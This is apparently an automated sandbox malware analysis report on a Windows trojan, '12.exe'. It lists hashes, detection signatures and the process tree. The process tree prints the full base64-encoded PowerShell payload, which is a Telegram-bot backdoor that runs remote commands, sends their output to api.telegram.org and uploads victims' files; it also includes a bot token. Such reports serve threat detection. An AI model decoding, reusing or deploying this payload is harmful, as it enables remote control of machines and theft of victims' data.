Edit tour

Windows Analysis Report
12.exe

Overview

General Information

Sample name:	12.exe
Analysis ID:	1590581
MD5:	90f2ca0a38d6e5416ee2f6be6326521d
SHA1:	00bf14e8153778835f95b9255ae1658e37819f8d
SHA256:	6534d5fd803f9c85bec3a820cef54f953e8643f3a4e16677d11decbf1a5b54c7
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious encrypted Powershell command line found

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Encrypted powershell cmdline option found

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Execution of Powershell with Base64

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

12.exe (PID: 6604 cmdline: "C:\Users\user\Desktop\12.exe" MD5: 90F2CA0A38D6E5416EE2F6BE6326521D)

powershell.exe (PID: 6648 cmdline: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA=='" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 3272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1780 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,11664794565421518283,13165857320494331314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

powershell.exe (PID: 3084 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBh